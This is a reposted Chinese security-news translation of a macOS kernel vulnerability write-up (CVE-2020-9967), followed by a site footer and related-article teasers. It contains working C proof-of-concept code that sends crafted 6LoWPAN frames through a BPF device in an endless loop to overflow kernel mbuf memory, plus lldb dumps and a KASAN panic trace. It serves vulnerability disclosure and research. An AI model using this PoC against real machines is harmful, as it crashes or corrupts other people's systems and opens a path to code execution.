{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf; 
}// Associate device
void assoc_dev(int bpf, char* interface)
{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf) 
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);//  802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0xff;frame.payload[1] = 0xff;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);// Do this in a loop to ensure we corrupt data following mbuf. while (1)write_single_frame(bpf);return 0; 
} 

导致如下结果:

frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt](lldb) register read 
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff8876c7bd28rdx = 0x000000000000fff9rdi = 0xffffff806f16f806rsi = 0xffffff806f16f82brbp = 0xffffff8876c7bcf0rsp = 0xffffff8876c7bc30r8 = 0xffffff8876c7bc38r9 = 0xffffff8876c7bc40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff8876c7bd28r15 = 0xffffff806f16f803rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000206cs = 0x0000000000000008fs = 0x0000000000000000gs = 0x0000000000000000Source:(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28Dest: (lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

由于群集 mbuf 只有2048个字节,且以链接的列表格式链接在一起,因此会导致通过受攻击者控制的数据损坏所处理的 mbuf。

在 KASAN 内核 中运行稍作修改的 PoC 2,也可以看到发生了堆损坏问题,且我们已触发对 nextptr 的验证:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e

由于写入的大小受控且数据受控,因此很可能将该问题转变为代码执行问题。    

推荐阅读

50款苹果 app享特权:可绕过macOS Big Sur 防火墙和VPN

苹果推出 macOS 漏洞奖励计划,最高赏金100万美元

原文链接

https://alexplaskett.github.io/CVE-2020-9967/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1380034.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

已解决 adb server version 31 doesn't match this client 36

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴! 运行adb 命令的时候报错: C:\Users\Administrator>adb devices List of devices atta…

详细分析开源软件项目 Ajax.NET Professional 中的RCE 漏洞(CVE-2021-23758)

聚焦源代码安全&#xff0c;网罗国内外最新资讯&#xff01; 作者&#xff1a;Hans-Martin Mnch 编译&#xff1a;代码卫士 2021年秋&#xff0c;MOGWAI LABS 实验室在为客户进行渗透测试过程中发现了开源组件 “Ajax.NET Professional” 中的一个反序列化漏洞 (CVE-2021-23758…

渗透测试中弹shell的多种方式及bypass

目录 常见姿势bashpythonncphpJava 脚本反弹perl 脚本反弹powershellmsfvenom 获取反弹一句话 Windows白加黑MSBuildInstallutil.exe&csc.exeregasm和regsvcsmshtaMsiexec简介&#xff1a;wmicrundll32 payload分离免杀shellcode loadercsc和InstallUtil 偏僻语言pyinstall…

信息安全技术 网络安全漏洞分类分级指南(GB/T 30279-2020 )

文章目录 前  言1 范围2 规范性引用文件3 术语和定义4 缩略语5 网络安全漏洞分类5.1 概述5.2 代码问题5.3 配置错误5.4 环境问题5.5 其他 6 网络安全漏洞分级6.1 概述6.2 网络安全漏洞分级指标6.3 网络安全漏洞分级方法 附 录 A&#xff08;规范性附录&#…

[渗透测试]Vulnstack 红队(二)

域环境初始化 DC IP&#xff1a;10.10.10.10 OS&#xff1a;Windows 2012(64) 应用&#xff1a;AD域WEB IP1&#xff1a;10.10.10.80 IP2&#xff1a;192.168.111.80 OS&#xff1a;Windows 2008(64) 应用&#xff1a;Weblogic 10.3.6 MSSQL 2008PC IP1&#xff1a;10.10.…

2021长安“战疫”网络安全卫士守护赛 misc部分writeup

2021长安“战疫”网络安全卫士守护赛 misc部分writeup 八卦迷宫朴实无华的取证西安加油ez_Encrypt 一百多名&#xff0c;我觉得还行欸&#xff0c;多亏了队里的crypto手 八卦迷宫 签到题&#xff0c;走迷宫&#xff0c;换成字就可以了 朴实无华的取证 老规矩先看pslist 进程…

腾讯云CVM服务器端口在安全组中打开!

腾讯云服务器CVM端口怎么开通&#xff1f;腾讯云服务器端口是通过配置安全组规则来开通的&#xff0c;腾讯云服务器网以开通80端口为例来详细说下腾讯云轻量应用服务器开启端口的方法&#xff0c;其他的端口的开通如8080、1433、443、3306、8888等端口也适用于此方法&#xff0…

window7 安装JDK17下载安装

1、下载JDK JDK下载官网&#xff1a;https://www.oracle.com/ 2、安装JDK 双击打开下载好的JDK进入安装界面 选择安装的位置 等待安装成功 安装成功 3、环境变量配置 右键此电脑选择属性选择高级系统设置&#xff08;展示是win7系统&#xff0c;win10也有仔细找找&#xff09;…

下载文件旁边附的MD5/SHA256有什么用途

下载软件等文件的时候&#xff0c;在下载地址旁边会附着一个乱码&#xff08;MD5、SHA256等加密后的字符串&#xff09;&#xff0c;之前知道是用来校验文件是否完整的&#xff0c;但一直没有真正用过。今天尝试了一下。非常简单。 例&#xff1a; https://www.python.org/down…

ngx.md5生成文件的md5值

ngx.md5()的参数必须是字符串&#xff0c;但要校验lua上传文件的MD5&#xff0c;怎么办&#xff1f; 方法: 先open 再read, 然后调用ngx.md5 local fio.open(filename,"rb") local s1f:read("*a") ngx.say(ngx.md5(s1)) f:close() 附&#xff1a; ngi…

MD5加密及Python源码魔改

MD5全称:message-digest algorithm 5 翻译过来就是:信息 摘要 算法 5 一、特点 1.长度固定: 不管多长的字符串,加密后长度都是一样长 作用:方便平时信息的统计和管理 详解&#xff1a;经过MD5加密生成一个固定长度为128bit的串。因为128位0和1的二进制串表达不友好&#xf…

【教程】初识云函数,实现无需服务器的项目上云!

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 你是否也在忧愁&#xff0c;想把自己的项目放在云上跑&#xff0c;但又不想花大价钱购买云服务器&#xff1f; 云函数介绍 云函数(Serverless Cloud Function&#xff0c;SCF)的简单理解就是&#xff1a;可以部署…

四、文件上传系列-计算文件MD5值

根据业务需要&#xff0c;在上传文件前我们要读取文件的md5值&#xff0c;将md5值传给后端用作秒传和断点续传文件的唯一标识。那么前端就需要使用js获取文件的md5值&#xff0c;对于普通小文件可以很轻松的读取文件md5值&#xff0c;而超大文件的md5值是如何快速的获取到的呢&…

大华智慧园区综合管理平台SQL注入漏洞

大华智慧园区综合管理平台SQL注入漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现PoC查询当前用户小龙POC检测: 五、 修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者…

ApiPost的使用

1. 设计接口 请求参数的介绍 Query:相当于get请求&#xff0c;写的参数在地址栏中可以看到 Body: 相当于 post请求&#xff0c;请求参数不在地址栏中显示。 请求表单类型&#xff0c;用form-data json文件类型&#xff0c;用row 2. 预期响应期望 设置完每一项点一下生成响应…

数学建模(一)前继概念

课程推荐&#xff1a;数学建模老哥_哔哩哔哩_bilibili 目录 一、什么是数学建模&#xff1f; 二、数学建模的一般步骤 三、数学建模赛题类型 1.预测型 2. 评价类 3.机理分析类 4. 优化类 一、什么是数学建模&#xff1f; 数学建模是利用数学方法解决实际问题的一种实践。…

Chrome浏览器各版本对应的驱动

目录 1、Chrome浏览器各版本&#xff08;低版本&#xff09;对应的驱动2、其他版本&#xff08;高版本&#xff09;直接在对应的目录下下载即可3、下载地址 1、Chrome浏览器各版本&#xff08;低版本&#xff09;对应的驱动 chromedriver版本支持的Chrome版本v2.41v67-69v2.40v…

使用windows搭建WebDAV服务,并内网穿透公网访问【无公网IP】

文章目录 1. 安装IIS必要WebDav组件2. 客户端测试3. 使用cpolar内网穿透&#xff0c;将WebDav服务暴露在公网3.1 打开Web-UI管理界面3.2 创建隧道3.3 查看在线隧道列表3.4 浏览器访问测试 4. 安装Raidrive客户端4.1 连接WebDav服务器4.2 连接成功4.2 连接成功 1. Linux(centos8…

FFmpeg常见命令行(五):FFmpeg滤镜使用

前言 在Android音视频开发中&#xff0c;网上知识点过于零碎&#xff0c;自学起来难度非常大&#xff0c;不过音视频大牛Jhuster提出了《Android 音视频从入门到提高 - 任务列表》&#xff0c;结合我自己的工作学习经历&#xff0c;我准备写一个音视频系列blog。本文是音视频系…

Labview控制APx(Audio Precision)进行测试测量(五)

驱动程序 VIs如何处理配置设置中的单元 APx500 应用程序具有复杂的控件&#xff0c;具有以下功能: 数值和单位组合在一个控制中(例如&#xff0c;1.000 Vrms ) •值转换为 SI 格式(例如&#xff0c;1.000 mVrms 或 1.000 μVrms) •单位之间的转换发生在控制(例如&#xff0c;V…